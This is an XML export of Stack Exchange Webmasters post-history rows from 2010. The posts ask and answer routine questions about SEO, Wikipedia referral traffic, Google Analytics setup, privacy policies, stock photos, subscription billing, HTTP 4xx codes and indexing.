  <row Id="7991" PostHistoryTypeId="2" PostId="4055" RevisionGUID="020574d7-c72c-4900-9529-d99c82351189" CreationDate="2010-10-19T13:59:56.313" UserId="1253" Text="Depends on the page. I have Wikipedia links and they don't deliver much traffic because they are on very specialized pages which don't get much traffic themselves. I know other webmasters who have links on very active Wikipedia pages and get a lot of traffic from them.&#xD;&#xA;&#xD;&#xA;Sausages probably isn't a hugely popular page but it's not obscure. I'd say they get some traffic but probably nothing too significant. &#xD;&#xA;&#xD;&#xA;But that traffic is somewhat targeted which is a plus." />
  <row Id="7992" PostHistoryTypeId="6" PostId="4049" RevisionGUID="5f9151b1-3f99-4852-83a6-307a9d0cf155" CreationDate="2010-10-19T14:01:06.030" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;seo-software&gt;" />
  <row Id="7993" PostHistoryTypeId="6" PostId="4033" RevisionGUID="25ab4974-b4dc-41bd-a7a7-852112048221" CreationDate="2010-10-19T14:05:23.600" UserId="1253" Comment="edited tags" Text="&lt;google&gt;&lt;ssl&gt;&lt;mediatemple&gt;&lt;grid&gt;" />
  <row Id="7994" PostHistoryTypeId="5" PostId="4050" RevisionGUID="df1dfa87-bc1e-4395-957f-143eb80e14a2" CreationDate="2010-10-19T14:06:55.503" UserId="2284" Comment="added 6 characters in body" Text="I would like to know, from your experience, if having a link on Wikipedia could generate some traffic to the pointed site.&#xD;&#xA;&#xD;&#xA;For example, the Wikipedia page of [sausages][1] points at the end of the page to :&#xD;&#xA;&#xD;&#xA;http://www.argentina.ar/_en/country/C161-the-gastronomy-in-the-world.php&#xD;&#xA;&#xD;&#xA;do you think that site is getting some major traffic from Wikipedia?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sausage" />
  <row Id="7995" PostHistoryTypeId="5" PostId="4053" RevisionGUID="117e7a22-72f3-4b2c-9dca-108a02ccc592" CreationDate="2010-10-19T14:07:36.583" UserId="1757" Comment="added 272 characters in body" Text="These &quot;brute force seo software&quot; you speak of are just tools for spammers. There is no surefire way to get good search ranking other than by providing good, useful content, and you still don't get top search ranking overnight. Using content spinners and tools to submit junk articles en masse to social bookmarking sites will not improve your search ranking in any meaningful way. If you're going to spend money on SEO, you're better off hiring a good writer to write quality content for your site or getting into the Yahoo! Directory.&#xD;&#xA;&#xD;&#xA;Just look at the type of sites that advertise these tools--they're spammy, poorly designed, with poorly written web copy, and generally have poor search engine ranking themselves.&#xD;&#xA;&#xD;&#xA;If you're even considering using them, then good luck... Even if you manage to improve your ranking in the short-term, you're going to have a hard time retaining that position. And the more aggressively you spam your site, the quicker you'll be identified as a spammer and penalized or even dropped from the index. Furthermore, your online reputation will be permanently ruined by engaging in sleazy SEO practices." />
  <row Id="7996" PostHistoryTypeId="2" PostId="4056" RevisionGUID="f4af02cd-ddd2-4022-a27f-f7612c0f752e" CreationDate="2010-10-19T14:17:08.803" UserId="2545" Text="Currently, I use Google Anlytics for www.example.com. example.com is also added to GA and shows &quot;Tracking not installed&quot;.&#xD;&#xA;&#xD;&#xA;Recently I added rewrite rule (301 redirect) to redirect all requests from www.example.com to example.com. &#xD;&#xA;&#xD;&#xA;How should I move/update GA code to properly track visits to example.com?" />
  <row Id="7997" PostHistoryTypeId="1" PostId="4056" RevisionGUID="f4af02cd-ddd2-4022-a27f-f7612c0f752e" CreationDate="2010-10-19T14:17:08.803" UserId="2545" Text="Proper way to move Google Analytics code from one site to another one" />
  <row Id="7998" PostHistoryTypeId="3" PostId="4056" RevisionGUID="f4af02cd-ddd2-4022-a27f-f7612c0f752e" CreationDate="2010-10-19T14:17:08.803" UserId="2545" Text="&lt;google-analytics&gt;&lt;redirects&gt;&lt;tracking&gt;" />
  <row Id="7999" PostHistoryTypeId="2" PostId="4057" RevisionGUID="639c67a8-5664-4d3d-8c5f-498b69f2e141" CreationDate="2010-10-19T14:41:30.477" UserId="2292" Text="While you have no guarantee that you'll get substantial traffic increase by placing a link in Wikipedia, the visitors who reach your website through Wikipedia will be real qualified leads (at least this has been my experience with many products/services I've listed on Wikipedia). My point is, not much traffic but more likely to buy or do whatever you want them to do.&#xD;&#xA;&#xD;&#xA;On a side note, I completely agree with @Srirangan that Wikipedia articles should not be diluted with marketing and sales info: make sure you list the right thing at the right place." />
  <row Id="8000" PostHistoryTypeId="2" PostId="4058" RevisionGUID="2a50b78b-d6ca-4400-9e60-a7798d65561a" CreationDate="2010-10-19T14:51:01.687" UserId="2288" Text="Just wondering why you'd post terms of service, privacy policy, etc. on a website.&#xD;&#xA;" />
  <row Id="8001" PostHistoryTypeId="1" PostId="4058" RevisionGUID="2a50b78b-d6ca-4400-9e60-a7798d65561a" CreationDate="2010-10-19T14:51:01.687" UserId="2288" Text="What benefit do you get from posting terms of service, privacy policy, etc.?" />
  <row Id="8002" PostHistoryTypeId="3" PostId="4058" RevisionGUID="2a50b78b-d6ca-4400-9e60-a7798d65561a" CreationDate="2010-10-19T14:51:01.687" UserId="2288" Text="&lt;website-design&gt;&lt;legal&gt;" />
  <row Id="8003" PostHistoryTypeId="5" PostId="4050" RevisionGUID="aa97cf6e-4ae7-4e91-a297-ca56a0a0bf9c" CreationDate="2010-10-19T14:58:08.800" UserId="2284" Comment="deleted 19 characters in body" Text="I would like to know, from your experience, if having a link on Wikipedia could generate some traffic to the pointed site.&#xD;&#xA;&#xD;&#xA;For example, the references at the end of this [sausages][1] page points to :&#xD;&#xA;&#xD;&#xA;http://www.argentina.ar/_en/country/C161-the-gastronomy/...&#xD;&#xA;&#xD;&#xA;do you think that site is getting some major traffic from Wikipedia?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sausage" />
  <row Id="8004" PostHistoryTypeId="2" PostId="4059" RevisionGUID="7795b117-7560-425e-9760-0187f541b8d3" CreationDate="2010-10-19T15:01:43.147" UserId="1253" Text="If you are applying for a merchant account this is a common requirement of the merchant account provider as this helps them to understand your business model and determine the risk they will be exposed to (e.g. chargebacks). Basically, the more customer friendly they are the less risk they are exposed to.&#xD;&#xA;&#xD;&#xA;Privacy policies are good to have as some users, can't quantify how many unfortunately, will at the very least check to see if you have one and some do actually read it. If they don't know what your policies are they may not use your site at all. Additionally, if your website becomes popular ad famous you may catch some flak for not stating your policy at all.&#xD;&#xA;&#xD;&#xA;Terms of service are a legal aid to you in case someone abuses your website in some way. It may give you legal recourse should it be necessary but that will vary by country (and state in the US) so you should always consult a lawyer to make sure yours is enforceable." />
  <row Id="8005" PostHistoryTypeId="6" PostId="4058" RevisionGUID="3005aec1-ac30-4287-a269-c21100516016" CreationDate="2010-10-19T15:02:04.757" UserId="1253" Comment="edited tags" Text="&lt;legal&gt;&lt;privacy-policy&gt;&lt;terms-of-use&gt;" />
  <row Id="8006" PostHistoryTypeId="2" PostId="4060" RevisionGUID="f325761d-bf27-4084-a987-2d44e28dcda4" CreationDate="2010-10-19T15:24:00.220" UserId="2552" Text="Depending on the country/state you're sire is available in or services you are providing these may be required by law there. California requires a specific privacy policy term that most websites break off as it's own additional policy for CA residents. If you're gathering any data on your users without informing them you are there is the potential for them to take legal action against you if it's used in a way they don't agree with and feel they were misinformed you were collecting it." />
  <row Id="8007" PostHistoryTypeId="2" PostId="4061" RevisionGUID="95c648cb-9526-4b24-9ead-f8d5a8f0f1e3" CreationDate="2010-10-19T15:25:29.433" UserId="108" Text="Check out the Google Articles on how to do it.&#xD;&#xA;&#xD;&#xA; - For the non-asynchronous tracking code: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55503&#xD;&#xA; - For the asynchronous tracking code: http://www.google.com/support/analytics/bin/answer.py?answer=174090&#xD;&#xA;&#xD;&#xA;One thing Google doesn't mention for Asynchronous tracking.  If you have DomainNames set within your GA account you will need to have the middle line from below&#xD;&#xA;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;               _gaq.push(['_setAccount', 'UA-XXXXXXX-1']);&#xD;&#xA;               _gaq.push(['_setDomainName', 'www.example.com']);&#xD;&#xA;               _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;Adding that line will make sure you are tracking against the correct domain." />
  <row Id="8008" PostHistoryTypeId="2" PostId="4062" RevisionGUID="46bd5e86-d78a-4a9a-b1e0-35b48ae03247" CreationDate="2010-10-19T15:28:04.577" UserId="2552" Text="If the code is included in the pages it's already working. You're able to break out reporting in Analytics to give you different reports based on the sub-domain the code is sitting on. If you want to create different accounts for each you can, which requires a different UA ID to be specified in the code. However if you're fine with doing it on the reporting side you're already done." />
  <row Id="8009" PostHistoryTypeId="2" PostId="4063" RevisionGUID="09f71114-6d00-4e0d-88e6-7b838ffea781" CreationDate="2010-10-19T15:30:03.763" UserId="2551" Text="If I understood this correctly, you want to have all visits to the site redirected to the domain (not the www subdomain), but you have the GA code set up to track the www subdomain. I think the best way to do it is edit the settings in GA to point to example.com. When you go to GA, you should have two links in the right of the account name, edit and delete. Clicking edit will allow you to change the website URL so you're good to go and still get to keep the old data in as well." />
  <row Id="8010" PostHistoryTypeId="5" PostId="4025" RevisionGUID="7ded4340-003f-4025-96b8-b0c417751911" CreationDate="2010-10-19T15:33:10.307" UserId="2288" Comment="edited body" Text="Need photos for a website and the client has zero cash, What are sources of free stock photos? And how do I understand what &quot;free&quot; means to to the stock photo site?&#xD;&#xA;&#xD;&#xA;**UPDATE:** Changed the title from &quot;free&quot; to &quot;cheap&quot;. I need an easy to use source of photos, meaning I they OWN the rights to the photos, and the terms of use are clear and enforceable.&#xD;&#xA;&#xD;&#xA;**IMPORTANT:** SXC.hu DOES NOT own the rights to any of the photos in their index. You must get the media owner to sign a &quot;new&quot; contract just with you. That's a lot of overhead, and the only way SXC.hu gives you to contact the owner is a web-form that has no additional info on the owner than their username.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8011" PostHistoryTypeId="2" PostId="4064" RevisionGUID="2aa2cf6a-e2ab-4a85-b4c9-7c5e8309f553" CreationDate="2010-10-19T15:34:56.230" UserId="108" Text="One other thing to note, the links within Wikipedia are `rel=&quot;nofollow&quot;` so you won't get much if any SEO value out of the links.  Your only real value is people following the links.  And again, as @Srirangan said please don't do it at the cost of degrading the Wikipedia page's usefulness. If you do, you are most likely going to get your changes removed anyways." />
  <row Id="8012" PostHistoryTypeId="2" PostId="4065" RevisionGUID="23f9e294-0039-4e80-a688-af2acd1137b6" CreationDate="2010-10-19T15:39:34.517" UserDisplayName="user2553" Text="I have a friend who has asked me to build a site for her that allows people to sign up for a monthly subscription service for a few dollars a month.   The service will send them text messages throughout the month.  &#xD;&#xA;&#xD;&#xA;Does anyone have any suggestions on open source software for signing up for a service like this?   I have already researched how to send the messages and need advice on setting up the subscription service.&#xD;&#xA;&#xD;&#xA;I've worked with asp.net c# and php." />
  <row Id="8013" PostHistoryTypeId="1" PostId="4065" RevisionGUID="23f9e294-0039-4e80-a688-af2acd1137b6" CreationDate="2010-10-19T15:39:34.517" UserDisplayName="user2553" Text="Website subscription service" />
  <row Id="8014" PostHistoryTypeId="3" PostId="4065" RevisionGUID="23f9e294-0039-4e80-a688-af2acd1137b6" CreationDate="2010-10-19T15:39:34.517" UserDisplayName="user2553" Text="&lt;web-development&gt;" />
  <row Id="8015" PostHistoryTypeId="2" PostId="4066" RevisionGUID="fa8d557e-4b6f-47a9-b018-8ff8d5472fae" CreationDate="2010-10-19T15:44:00.483" UserId="2288" Text="Here's are some nice comparisons and reviews of stock photo services: &#xD;&#xA;&#xD;&#xA;http://stock-photography-service-review.toptenreviews.com&#xD;&#xA;http://www.microstockforum.com/Stock-Photography-Review&#xD;&#xA;http://www.thewebsqueeze.com/tips-and-tricks/a-comparison-of-the-12-best-stock-photo-sites.html&#xD;&#xA;&#xD;&#xA;**GOOGLE_KEYWORDS:** stock-photo-comparison, &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;And here's a nice price-comparison search engine for stock photography:&#xD;&#xA;&#xD;&#xA;http://www.spiderpic.com/&#xD;&#xA;" />
  <row Id="8016" PostHistoryTypeId="2" PostId="4067" RevisionGUID="8a47cae1-8de2-4267-9808-e1766660b2a2" CreationDate="2010-10-19T16:13:18.840" UserId="2552" Text="Paypal has a monthly subscription/subscriber service built into their payment system. It's setup as a specific product type so you would just need to configure the frequency for how often to charge them. &#xD;&#xA;&#xD;&#xA;On a side note, make sure to build in the ability to cancel their subscription in a way to make it extremely easy to get information. If it's at all difficult and they complain to paypal, they will sometimes revoke your merchant account." />
  <row Id="8017" PostHistoryTypeId="2" PostId="4068" RevisionGUID="82e71d0c-308d-42de-99ef-c104e011caa3" CreationDate="2010-10-19T16:13:44.863" UserId="108" Text="I doubt you will find any service that is 100% &quot;free&quot; for processing your subscription fees.  The best/cheapest option is probably to write the software yourself to integrate with something like [Paypal's Recurring Payment system][1].&#xD;&#xA;&#xD;&#xA;Most services will either charge you a flat fee or % fee per charge processed.  So really you will want to look at the major payment providers out there and see which ones offer what.  Paypal is well known and pretty standard.  [Here][2] is an earlier question about payment providers that exist and are well known.  Many of them will offer you a subscription billing platform.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.paypal.com/pdn-recurring&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/1475/which-payment-provider-such-as-paypal-should-i-use-for-marketplace-style-site/1477#1477" />
  <row Id="8018" PostHistoryTypeId="2" PostId="4069" RevisionGUID="b4e0ddb7-3165-4e32-b218-af7c685f821a" CreationDate="2010-10-19T16:16:24.270" UserId="1731" Text="Depending on the type of page visited (for example, “static” content vs. product page), we have a requirement to show different error messaging when the page requested is not found.  Given that we are on a two tier architecture and have no dynamic language ability on the web servers, we are using HTTP status codes in the 400 range to display this messaging using the ErrorDocument setting in Apache configuration.&#xD;&#xA;&#xD;&#xA;These status codes, of course, show up in Google Webmaster tools as HTTP errors rather than not found errors and there is concern that these 400 range errors will not cause search engines to remove these pages from their indexes.&#xD;&#xA;&#xD;&#xA;So I guess my question is two-fold.   Is there anyone else who has had this type of requirement with the limitation of no dynamic languages on the web server - and if so - have you solved this problem differently?&#xD;&#xA;&#xD;&#xA;Secondly, does anyone have any experience with pages being removed from the Google index that did not return 404 errors specifically, but that returned errors in the 400 range?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="8019" PostHistoryTypeId="1" PostId="4069" RevisionGUID="b4e0ddb7-3165-4e32-b218-af7c685f821a" CreationDate="2010-10-19T16:16:24.270" UserId="1731" Text="Using 400 range HTTP status codes to display customized “Not Found” (404) messaging and its effects on indexing" />
  <row Id="8020" PostHistoryTypeId="3" PostId="4069" RevisionGUID="b4e0ddb7-3165-4e32-b218-af7c685f821a" CreationDate="2010-10-19T16:16:24.270" UserId="1731" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;apache&gt;" />
  <row Id="8021" PostHistoryTypeId="5" PostId="4049" RevisionGUID="d50c9b78-489e-4bbf-aec5-2d144ea67bd0" CreationDate="2010-10-19T16:18:50.230" UserId="233" Comment="SPAG" Text="Can brute force SEO tools like SENuke help in rankings or somehow get you penalized by the search engines?&#xD;&#xA;&#xD;&#xA;Can search engines even &quot;see&quot; that anonter tool has been used to do the SEO? Is, for example, SENuke worth the money?&#xD;&#xA;" />
  <row Id="8022" PostHistoryTypeId="4" PostId="4049" RevisionGUID="d50c9b78-489e-4bbf-aec5-2d144ea67bd0" CreationDate="2010-10-19T16:18:50.230" UserId="233" Comment="SPAG" Text="Brute force SEO software" />
  <row Id="8023" PostHistoryTypeId="5" PostId="4069" RevisionGUID="c0f4fa1d-f4f6-430f-9436-49eb7af39c5e" CreationDate="2010-10-19T16:25:04.227" UserId="1731" Comment="Splitting into two questions, making question more specific." Text="Depending on the type of page visited (for example, “static” content vs. product page), we have a requirement to show different error messaging when the page requested is not found.  Given that we are on a two tier architecture and have no dynamic language ability on the web servers, we are using HTTP status codes in the 400 range to display this messaging using the ErrorDocument setting in Apache configuration.&#xD;&#xA;&#xD;&#xA;These status codes, of course, show up in Google Webmaster tools as HTTP errors rather than not found errors and there is concern that these 400 range errors will not cause search engines to remove these pages from their indexes.&#xD;&#xA;&#xD;&#xA;Is there anyone else who has had this type of requirement with the limitation of no dynamic languages on the web server - and if so - have you solved this problem differently?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="8024" PostHistoryTypeId="4" PostId="4069" RevisionGUID="c0f4fa1d-f4f6-430f-9436-49eb7af39c5e" CreationDate="2010-10-19T16:25:04.227" UserId="1731" Comment="Splitting into two questions, making question more specific." Text="How do I differentiate 404 messaging with no dynamic language ability on the web server?" />
  <row Id="8025" PostHistoryTypeId="5" PostId="4066" RevisionGUID="f6b2d28a-131e-46bb-bcb9-3ed39998922f" CreationDate="2010-10-19T16:35:10.217" UserId="2288" Comment="added 14 characters in body" Text="Here's are some nice comparisons and reviews of stock photo services: &#xD;&#xA;&#xD;&#xA; - http://stock-photography-service-review.toptenreviews.com&#xD;&#xA; - http://www.microstockforum.com/Stock-Photography-Review&#xD;&#xA; - http://www.thewebsqueeze.com/tips-and-tricks/a-comparison-of-the-12-best-stock-photo-sites.html&#xD;&#xA;&#xD;&#xA;**GOOGLE_KEYWORDS:** stock-photo-comparison, &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;And here's a nice price-comparison search engine for stock photography:&#xD;&#xA;&#xD;&#xA; - http://www.spiderpic.com/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8026" PostHistoryTypeId="5" PostId="4025" RevisionGUID="2d55b378-0211-4062-ba78-3d86aee83744" CreationDate="2010-10-19T16:37:17.487" UserId="2288" Comment="deleted 10 characters in body" Text="Need photos for a website and the client has zero cash, What are sources of free stock photos? And how do I understand what the terms and conditions mean?&#xD;&#xA;&#xD;&#xA;**UPDATE:** Changed the title from &quot;free&quot; to &quot;cheap&quot;. I need an easy to use source of photos, meaning I they OWN the rights to the photos, and the terms of use are clear and enforceable.&#xD;&#xA;&#xD;&#xA;**IMPORTANT:** SXC.hu DOES NOT own the rights to any of the photos in their index. You must get the media owner to sign a &quot;new&quot; contract just with you. That's a lot of overhead, and the only way SXC.hu gives you to contact the owner is a web-form that has no additional info on the owner than their username.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8027" PostHistoryTypeId="2" PostId="4070" RevisionGUID="a6a74e72-2771-4841-ab96-1a67f14d23d7" CreationDate="2010-10-19T16:42:21.070" UserId="1731" Text="Do search engines remove pages from the index for any 400 range status code return?&#xD;&#xA;&#xD;&#xA;We are using 400 range HTTP codes to differentiate messaging for different categories of pages when a particular type of content is not found.   There are some concerns that this content will not be removed from the search engine indexes as they would be if a proper 404 response is returned.&#xD;&#xA;&#xD;&#xA;Has anyone used this method before to return customized error messages that can validate that these other codes are indeed removed from search engine indexes?&#xD;&#xA;" />
  <row Id="8028" PostHistoryTypeId="1" PostId="4070" RevisionGUID="a6a74e72-2771-4841-ab96-1a67f14d23d7" CreationDate="2010-10-19T16:42:21.070" UserId="1731" Text="Do search engines remove pages from the index for any 400 range status code return? " />
  <row Id="8029" PostHistoryTypeId="3" PostId="4070" RevisionGUID="a6a74e72-2771-4841-ab96-1a67f14d23d7" CreationDate="2010-10-19T16:42:21.070" UserId="1731" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="8030" PostHistoryTypeId="2" PostId="4071" RevisionGUID="06e8633b-3368-4de5-8e47-2ffefc7f1aef" CreationDate="2010-10-19T16:44:52.130" UserId="233" Text="The &quot;Not Found&quot; error is HTTP Status Code 404. Any other status code is a different error. Don't worry, Google is perfectly capable of detecting and handling other status codes. It won't index your page if it returns a 4xx error, so if you can't return a different page for the same status code, then different status codes will be fine.&#xD;&#xA;&#xD;&#xA;Try and make them sensible - &quot;404 Not Found&quot; and &quot;410 Gone&quot; are perfectly valid for missing pages, but &quot;405 Method Not Allowed&quot; doesn't make sense for that situation. See [Wikipedia][1] for a clear list of ones you should use.&#xD;&#xA;&#xD;&#xA;Webmaster Tools, however, is a separate application to Googlebot and generally only reports what it thinks is &quot;useful&quot; information. So in this case it isolates 404 Not Found errors because that is the most common code when a page cannot be returned. I remember seeing a 500 error tab at one point too.&#xD;&#xA;&#xD;&#xA;Finally, one possible solution: use Javascript to display different content based on the URL that is not found - for example if your static pages always end with `.html` and your dynamic ones `.aspx` or have no extension. (If you need help with that, it would be best to ask on [Stack Overflow][2], which is tailored towards programming.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/HTTP_status#4xx_Client_Error&#xD;&#xA;  [2]: http://stackoverflow.com" />
  <row Id="8031" PostHistoryTypeId="2" PostId="4072" RevisionGUID="63f4c240-116b-4248-ae80-b6aa9010b115" CreationDate="2010-10-19T16:50:42.330" UserId="233" Text="As far as I know: yes. I have some links to my site that generate a 400 status code, and they are not indexed in Google at all.&#xD;&#xA;&#xD;&#xA;However as I mentioned in the other question, it's better to stick to [defined status codes][1] where possible, like 404 and 410 for missing pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/HTTP_status#4xx_Client_Error" />
  <row Id="8032" PostHistoryTypeId="5" PostId="4026" RevisionGUID="2ab7d956-03d4-4006-9b58-5eaa193ddda1" CreationDate="2010-10-19T17:56:54.427" UserId="745" Comment="added 345 characters in body" Text="[Stock.XCHNG][1] is the best free stock photo site I've found. You'll have to read the license for each photo to make sure you can use for commercial purposes and if you need attribution, but I've generally found that I can use most of the photos on the site.&#xD;&#xA;&#xD;&#xA;Also see:&#xD;&#xA;&#xD;&#xA; - [123rf][2]&#xD;&#xA; - [iStockPhoto][3]&#xD;&#xA; - [Corbis Images][4]&#xD;&#xA; - [Shutter Stock][5]&#xD;&#xA; - [Dreamstime][6]&#xD;&#xA; - [StockXpert][7]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sxc.hu/&#xD;&#xA;  [2]: http://www.123rf.com/&#xD;&#xA;  [3]: http://www.istockphoto.com/&#xD;&#xA;  [4]: http://www.corbisimages.com/&#xD;&#xA;  [5]: http://www.shutterstock.com/&#xD;&#xA;  [6]: http://www.dreamstime.com/&#xD;&#xA;  [7]: http://www.stockxpert.com/" />
  <row Id="8033" PostHistoryTypeId="2" PostId="4073" RevisionGUID="4e80cec5-12c3-4c72-8e11-a7f1631d4c12" CreationDate="2010-10-19T18:09:51.123" UserId="1183" Text="check out [Big Stock Photo][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bigstockphoto.com/" />
  <row Id="8034" PostHistoryTypeId="2" PostId="4074" RevisionGUID="8cc2110e-9653-4cad-88c8-3f9540b05cb2" CreationDate="2010-10-19T18:13:34.213" UserId="2557" Text="There is a website which is correctly indexed by Google. And there is a page which was correctly indexed initially but after a couple of week was removed from the Google index. Most probably a page was banned. The content of this page had not changed during this time.&#xD;&#xA;&#xD;&#xA;We didn't use any forbidden methods for promotion of this page. I looked for possible reasons (e.g. www.bigoakinc.com/seo-articles/banned-by-google.php) and didn't found any explicit mistakes.&#xD;&#xA;&#xD;&#xA;Could you advise what we can do to return page to the index? The problem page is http://bitmiracle.com/pdf-library/" />
  <row Id="8035" PostHistoryTypeId="1" PostId="4074" RevisionGUID="8cc2110e-9653-4cad-88c8-3f9540b05cb2" CreationDate="2010-10-19T18:13:34.213" UserId="2557" Text="How to determine why a page is banned by Google" />
  <row Id="8036" PostHistoryTypeId="3" PostId="4074" RevisionGUID="8cc2110e-9653-4cad-88c8-3f9540b05cb2" CreationDate="2010-10-19T18:13:34.213" UserId="2557" Text="&lt;seo&gt;&lt;google&gt;&lt;indexing&gt;" />
  <row Id="8037" PostHistoryTypeId="2" PostId="4075" RevisionGUID="4262f1a8-da3b-4cbc-bca2-3408e85e3cb1" CreationDate="2010-10-19T18:26:40.113" UserId="108" Text="Create a Webmasters Account from Google, here http://www.google.com/webmasters/.&#xD;&#xA;&#xD;&#xA;Once you have an account you can attach it to the website in question by putting a file into the root folder of your site.  Google will then recognize that you as the owner of the Webmaster account also own/control the site in question.&#xD;&#xA;&#xD;&#xA;Once you have done this Google will report to that account any reasons why your site is banned whether is is right now or in the future.  You can also use that account to ask Google if there is issues.&#xD;&#xA;&#xD;&#xA;Google's webmaster tools also have a lot of other benefits and is free.  Specifically, it tells you what sites &amp; pages link to your site and how many searches and at what position your site was returned for those searches." />
  <row Id="8038" PostHistoryTypeId="4" PostId="4025" RevisionGUID="a4830802-7764-4af1-a4c6-d5e0b71365b8" CreationDate="2010-10-19T18:33:54.640" UserId="2288" Comment="edited title; added 141 characters in body" Text="What are sources of free/cheap stock photos? (Additional requirements, read description.)" />
  <row Id="8039" PostHistoryTypeId="5" PostId="4025" RevisionGUID="a4830802-7764-4af1-a4c6-d5e0b71365b8" CreationDate="2010-10-19T18:33:54.640" UserId="2288" Comment="edited title; added 141 characters in body" Text="Need photos for a website and the client has zero cash, What are sources of free stock photos? And how do I understand what the terms and conditions mean?&#xD;&#xA;&#xD;&#xA;**UPDATE:** Changed the title from &quot;free&quot; to &quot;free/cheap&quot;. I need an easy to use source of photos, meaning I they OWN the rights to the photos. Some stock photo websites disclaim that the have rights to the photos. Examples: SXC.hu, Bigstock (if you know of others, please comment. See comments to answers for details. Thanks!)&#xD;&#xA;&#xD;&#xA;**IMPORTANT:** SXC.hu DOES NOT own the rights to any of the photos in their index. You must get the media owner to sign a &quot;new&quot; contract just with you. That's a lot of overhead, and the only way SXC.hu gives you to contact the owner is a web-form that has no additional info on the owner than their username.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8040" PostHistoryTypeId="2" PostId="4076" RevisionGUID="8ca74931-0d61-4760-ad59-dc02e31d7827" CreationDate="2010-10-19T18:53:38.580" UserId="2558" Text="Try [Google Chrome Frame][1].  IE users who install it will be able to browse your site in Google Chrome's renderer without switching browsers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/chrome/chromeframe/" />
  <row Id="8041" PostHistoryTypeId="2" PostId="4077" RevisionGUID="f9c04f64-60e2-4e97-9058-b8883406696a" CreationDate="2010-10-19T18:55:35.707" UserId="2467" Text="Your question is irrelevant, because you can't do anything useful with the answer.&#xD;&#xA;&#xD;&#xA;Consider the two possible answers to the question.&#xD;&#xA;&#xD;&#xA;* &quot;No, Wikipedia does nothing to drive traffic&quot;. There is nothing to do.&#xD;&#xA;* &quot;Yes, Wikipedia is a traffic source,&quot; but there is nothing to do, because only a jerk would plant content on Wikipedia for the purpose of generating traffic to his/her website.&#xD;&#xA;&#xD;&#xA;Since you are not a jerk, then the question is moot." />
  <row Id="8042" PostHistoryTypeId="2" PostId="4078" RevisionGUID="7a09b937-17b3-4855-9344-7732cbe8029c" CreationDate="2010-10-19T19:10:09.737" UserId="1074" Text="My company's site got two links buried several pages deep on Howitworks.com and it resulted in significant traffic gains for quite an extended period.  Wikipedia almost certainly gets more traffic than howitworks.com......though it depends on the detail page how many links you might receive.  We didn't notice any SEO bump per se, but the traffic was nice regardless." />
  <row Id="8043" PostHistoryTypeId="2" PostId="4079" RevisionGUID="2db179a6-a3a2-4b71-8ef6-cfaa6d08681e" CreationDate="2010-10-19T19:34:33.587" UserDisplayName="patlc" Text="drupal ubercart will do what you need." />
  <row Id="8044" PostHistoryTypeId="2" PostId="4081" RevisionGUID="a1be3759-e904-4e22-a1c9-f8c1f0e75349" CreationDate="2010-10-19T19:38:58.963" UserDisplayName="S.Lott" Text="http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html" />
  <row Id="8045" PostHistoryTypeId="2" PostId="4080" RevisionGUID="db1ca541-5206-40bf-a235-541029c4eb33" CreationDate="2010-10-19T19:23:27.743" UserDisplayName="MikeRand" Text="Does anyone know of any market share information for server-side scripting languages (# of web servers, % of web servers, etc.)?&#xD;&#xA;&#xD;&#xA;I'm learning how to do server-side scripting with Python (via the examples in Programming Python). I just can't ever remember having seen a web address with &quot;.py?&quot; in it ... they're almost all &quot;.php?&quot; or &quot;.asp?&quot;.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Mike" />
  <row Id="8046" PostHistoryTypeId="1" PostId="4080" RevisionGUID="db1ca541-5206-40bf-a235-541029c4eb33" CreationDate="2010-10-19T19:23:27.743" UserDisplayName="MikeRand" Text="Metrics on &quot;market share&quot; for server-side scripting languages" />
  <row Id="8047" PostHistoryTypeId="3" PostId="4080" RevisionGUID="db1ca541-5206-40bf-a235-541029c4eb33" CreationDate="2010-10-19T19:23:27.743" UserDisplayName="MikeRand" Text="&lt;python&gt;&lt;server-side-scripting&gt;" />
  <row Id="8048" PostHistoryTypeId="17" PostId="4080" RevisionGUID="fabe3699-26fe-4404-a25d-ec30bd47a4b0" CreationDate="2010-10-19T19:45:34.053" UserId="-1" Comment="from http://stackoverflow.com/questions/3971921/metrics-on-market-share-for-server-side-scripting-languages" Text="" />
  <row Id="8049" PostHistoryTypeId="2" PostId="4082" RevisionGUID="ee838424-dcd8-48e2-9f3d-bc3489c7a248" CreationDate="2010-10-19T19:50:05.083" UserId="1327" Text="My website has a number of instructional videos that would be very helpful to be viewable on an iPad.&#xD;&#xA;&#xD;&#xA;The video player is SWF, and the video itself is FLV.&#xD;&#xA;&#xD;&#xA;Questions:&#xD;&#xA;&#xD;&#xA;1. Can I replace the flash player swf app with a different container that will play the FLV video content? Or...&#xD;&#xA;&#xD;&#xA;2. Do I have to also re-encode the video to a different format?&#xD;&#xA;&#xD;&#xA;3. ... and what would that format be?&#xD;&#xA;&#xD;&#xA;Oh great hive mind, thank you for your wisdom!" />
